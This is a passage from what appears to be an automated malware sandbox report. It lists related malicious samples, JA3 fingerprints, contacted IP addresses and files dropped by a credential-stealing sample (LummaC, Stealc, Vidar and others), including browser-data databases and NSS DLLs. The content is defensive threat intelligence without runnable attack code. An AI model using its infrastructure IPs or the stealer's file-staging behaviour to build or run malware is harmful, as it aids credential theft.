	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10
	Sample_Order_000000991.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	BG75-10-01_CurrencyTransfer__530_24_00002559_Processed.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Smple_Order-048576744759475945.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	Document.xla.xlsx	Get hash	malicious	Unknown	Browse	150.171.27.10
	Sample_Order_000000991.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
	BG75-10-01_CurrencyTransfer__530_24_00002559_Processed.xls	Get hash	malicious	Unknown	Browse	150.171.27.10
3b5074b1b5d032e5620f69f9f700ff0e	fGZLZhXIt1.bat	Get hash	malicious	Unknown	Browse	20.198.118.190
	greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	20.198.118.190
	Ls4O6Pmixd.exe	Get hash	malicious	Phemedrone Stealer	Browse	20.198.118.190
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.198.118.190
	V7giEUv6Ee.bat	Get hash	malicious	Unknown	Browse	20.198.118.190
	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	20.198.118.190
	https://onedefender.xyz/w/a/s/?lp_key=17343c9645d1ac0fef5c105d161ba25127ffc78983&clickid=ctg89et00fes73cmfgu0&trk=fireclk.xyz&language=de&feed=7539&zone=3dcf5f1b&dm=1	Get hash	malicious	Unknown	Browse	20.198.118.190
	Instruction_695-18112-002_Rev.PDF.lnk (2).d.lnk	Get hash	malicious	Unknown	Browse	20.198.118.190
	sEOELQpFOB.lnk	Get hash	malicious	RedLine	Browse	20.198.118.190
	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	20.198.118.190
a0e9f5d64349fb13191bc781f81f42e1	pN6iTXbhhc.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	81eivTbdp6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	X2hna87N3Y.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	c5bnEkMx.ps1	Get hash	malicious	LummaC	Browse	104.21.2.110
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	SkaKk8Z1J0.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	N1sb7Ii2YD.exe	Get hash	malicious	LummaC	Browse	104.21.2.110

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	6aTAU3Dzp6.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFIDGDBG

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDHJEGIEBFHDGDGHDHIEBKFHD

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCAAEBK

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCAEGDHJKFHJKFIJKJE

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GCFHDAKECFIDGDGDBKJD

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEBFHCAKFBGDHIDHIDBKKKKKE

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDGIJEGHDAECAKECAFCA

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 6aTAU3Dzp6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 4TPPuMwzSA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0243fd07-130a-4d43-9fb6-1fb3ec8b11ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44925
Entropy (8bit):	6.0946074516512105
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAoi1zNtW69S/8fQtFEKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynl1KtSmd6qE7lFoC
MD5:	EF41072044C8311DCD67E19DCA02B19E
SHA1:	AAFE7D76015AEC7E977E876770574013933C022A
SHA-256:	CFE5B447C05995C1BF210A33954916C9A8DAFD6832485575F4B63E58EEBC023A
SHA-512:	57FB73D752C401DD8DD463CF96F057D43E7BA21C6F315BA5CD00ED8CD94CEDE6B4290E4E728C454D9146680D90098F282BC244ACC7BFE0C1158A672BA4FC67A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\18796a77-a9e3-4fe8-8420-9ddbd305ce47.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44902
Entropy (8bit):	6.095036561525209
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWyoi1zNtW6Nx9CFFNfKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynluKtSmd6qE7lFoC
MD5:	087CC75672713F645D83C4A95B42292B
SHA1:	68F0B95F1675A0FD56B4D93096ECBDAFFEADCFAF
SHA-256:	B9BEA1398111E76129CD5D2BF5B2AF2C3D347AD8CAB6DF1BD23B8A7ABB4B1C45
SHA-512:	665D319B8208E2B564855E0A0E907800887BD552EDED73B4E1D71EC2BE26396C2425D943E34F0CD8E30A7576082EB83A9438063D88D176AC2E99F37ACDA80D1C
Malicious:	false
